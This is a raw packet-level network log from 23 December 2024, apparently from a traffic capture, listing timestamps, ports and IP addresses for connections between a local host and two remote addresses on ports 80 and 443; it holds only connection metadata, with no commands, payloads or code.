Dec 23, 2024 17:16:37.510044098 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.510081053 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.510710001 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.510755062 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.510811090 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.511681080 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.511724949 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.511789083 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.512640953 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.512679100 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.512883902 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.513329029 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.513367891 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.513425112 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.514130116 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.514358044 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.514436960 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.514471054 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.515392065 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.515404940 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.515443087 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.516124010 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.516222000 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.516262054 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.516927958 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.516979933 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.517107010 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.518038034 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.518050909 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.518079996 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.518101931 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.518955946 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.518976927 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.519026041 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.519736052 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.519748926 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.519789934 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.520438910 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.520493031 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.520535946 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.521462917 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.521502972 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.521599054 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.521807909 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.522331953 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.522485971 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.522525072 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.523099899 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.523133993 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.523173094 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.524255991 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.524267912 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.524312019 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.525039911 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.525202036 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.525243998 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.525790930 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.525929928 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.525969982 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.526704073 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.526741982 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.526856899 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.527894974 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.527950048 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.528094053 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.528130054 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.528502941 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.528549910 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.528713942 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.528743029 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.529334068 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.529452085 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.529498100 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.530662060 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.530706882 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.530802011 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.531522989 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.531568050 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.531637907 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.532397032 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.532632113 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.532645941 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.532664061 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.532689095 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.533284903 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.533337116 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.533444881 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.533478975 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.534063101 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.534106970 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.545911074 CET	443	49725	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:37.546039104 CET	443	49725	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:37.546169996 CET	49725	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:37.547617912 CET	49725	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:37.547642946 CET	443	49725	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:37.686404943 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.686486006 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.686546087 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.686793089 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.686965942 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.687004089 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.687704086 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.687824011 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.687860012 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.688568115 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.688738108 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.688771963 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.689450979 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.689543009 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.689583063 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.690371037 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.690570116 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.690615892 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.691210032 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.691253901 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.691320896 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.692130089 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.692152023 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.692277908 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.692315102 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.693053961 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.693106890 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.693144083 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.694077015 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.694175005 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.694221020 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.694778919 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.694839954 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.694868088 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.694921017 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.695636034 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.695771933 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.695822954 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.696543932 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.696582079 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.696608067 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.697000980 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.697422028 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.697467089 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.697509050 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.698457956 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.698750973 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.698815107 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.698851109 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.698889971 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.699563026 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.699697018 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.699986935 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.700479031 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.700514078 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.700548887 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.701345921 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.701387882 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.701447010 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.701636076 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.702389002 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.702440023 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.702466011 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.702511072 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.703052044 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.703111887 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.703145027 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.703182936 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.704025984 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.704072952 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.704107046 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.704143047 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.704680920 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.704731941 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.704749107 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.704781055 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.705425978 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.705533981 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.705565929 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.705677032 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.706357956 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.706418037 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.706530094 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.706568003 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.707204103 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.707333088 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.707381964 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.708100080 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.708143950 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.708178043 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.709002018 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.709031105 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.709059000 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.709083080 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.709904909 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.709966898 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.710114002 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.710145950 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.710808039 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.710926056 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.710967064 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.711698055 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.711731911 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.711751938 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.712121964 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.712606907 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.712651014 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.712670088 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.712824106 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.713463068 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.713512897 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.713598013 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.713649988 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.714354992 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.714392900 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.714412928 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.714456081 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.715234041 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.715284109 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.715372086 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.715677023 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.716103077 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.716154099 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.716197968 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.716231108 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.717056036 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.717133045 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.717180014 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.717864037 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.717979908 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.717999935 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.718015909 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.718753099 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.718801975 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.718893051 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.718930960 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.719660997 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.719764948 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.719789028 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.719799995 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.720504045 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.720622063 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.720660925 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.721472979 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.721561909 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.721605062 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.722309113 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.722450018 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.722486973 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.723354101 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.723463058 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.723503113 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.724364996 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.724451065 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.724495888 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.724982977 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.725131035 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.725168943 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.725869894 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.725979090 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.726026058 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.726752996 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.726813078 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.726865053 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.727168083 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.727683067 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.727776051 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.727813959 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.728620052 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.728768110 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.728807926 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.729656935 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.729707956 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.729783058 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.729872942 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.730520010 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.730565071 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.730761051 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.730798006 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.731483936 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.731661081 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.731699944 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.732372999 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.732419014 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.732455015 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.732513905 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.733155966 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.734136105 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.849457026 CET	49729	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:37.849509954 CET	443	49729	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:37.849642992 CET	49729	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:37.879271984 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.879287004 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.879348993 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.879528999 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.879710913 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.879750013 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.880537987 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.880578041 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.880603075 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.881131887 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.881315947 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.881597996 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.881637096 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.882266998 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.882312059 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.882350922 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.883140087 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.883152008 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.883196115 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.883971930 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.884006023 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.884124994 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.884957075 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.884968996 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.884994030 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.885016918 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.885775089 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.885787010 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.885832071 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.886786938 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.886800051 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.886837006 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.887603998 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.887639046 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.887849092 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.888453007 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.888497114 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.888662100 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.889147043 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.889275074 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.889491081 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.889529943 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.890234947 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.890348911 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.890388966 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.891136885 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.891148090 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.891175032 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.891201019 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:37.891343117 CET	49729	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:37.891366959 CET	443	49729	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:37.892057896 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.892069101 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:37.892095089 CET	49727	80	192.168.2.9	185.215.113.16
